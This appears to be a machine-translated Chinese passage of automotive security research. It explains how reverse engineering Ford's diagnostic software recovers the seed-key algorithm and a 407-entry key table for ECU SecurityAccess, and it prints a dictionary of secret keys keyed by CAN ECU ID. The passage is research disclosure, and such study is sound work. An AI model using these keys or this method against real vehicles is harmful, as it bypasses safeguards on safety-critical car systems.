這意味著你真的需要密匙(種子)或者是相當幸運。獲取密鑰的一種方法是提取固件並將其做反向工程從中提取密鑰。更簡單的方法是對實際的福特集成診斷軟體 (IDS) 工具進行反向工程。繞過一個小的 anti-debugging, 這只是一個時間問題, 提取的密匙。即使我們不能得到的工具執行 SecurityAccess 對多個 ECU , 該工具有能力做到這一點。因此, 整個密匙鏈是建立在和可以獲得一些簡單的逆向工程。

對給定種子發生在 MCPFunctionManager.dll 內的 testman.exe 過程中的破解。函數在1006b100 獲取種子, 計算密鑰, 並通過 can 匯流排返回它。種子和鑰匙進入函數: 1006c360 (iKey_from_iSeed)。該演算法非常簡單, 並被複制到 Ecomcat API 中。

如果你能得到工具執行一個 SecurityAccess 的 ECU,通過設置斷點, 可以看到密匙,。多一點逆向工程, 你就能找到鑰匙的來源。僅有幾個例外, 密鑰都存儲在 AlgData.dll 的數據段中, 長度為407的數組。

看著鑰匙, 其中一些是 ASCII 值, 很有趣。這是我的一些最愛。

在我們不能動態地得到密匙時,為了找到 ecu 的密匙, , 我們只是嘗試407個密匙中的每一個, 並找到哪一個可以工作。

secret_keys = {

0x727: "50 C8 6A 49 F1",

0x733: "AA BB CC DD EE",

0x736: "08 30 61 55 AA",

0x737: "52 6F 77 61 6E",

0x760: "5B 41 74 65 7D",

0x765: "96 A2 3B 83 9B",

0x7a6: "50 C8 6A 49 F1",

0x7e0: "08 30 61 A4 C5",}

secret_keys2 = {

0x7e0: "44 49 4F 44 45",

0x737: "5A 89 E4 41 72"}


推薦閱讀:

靶機滲透之Typhoon實戰
五億條用戶數據泄漏背後,老舊安全戰略思想不管用了
【漏洞預警】ThinkPHP 5.0再曝遠程代碼執行漏洞
古董級VIA C3 x86處理器中 被發現存在的後門機制
【後量子密碼】是什麼?為什麼RSA"不行了"?有什麼用?研究和應用現狀如何?

TAG:汽車電子控制 | 信息安全 |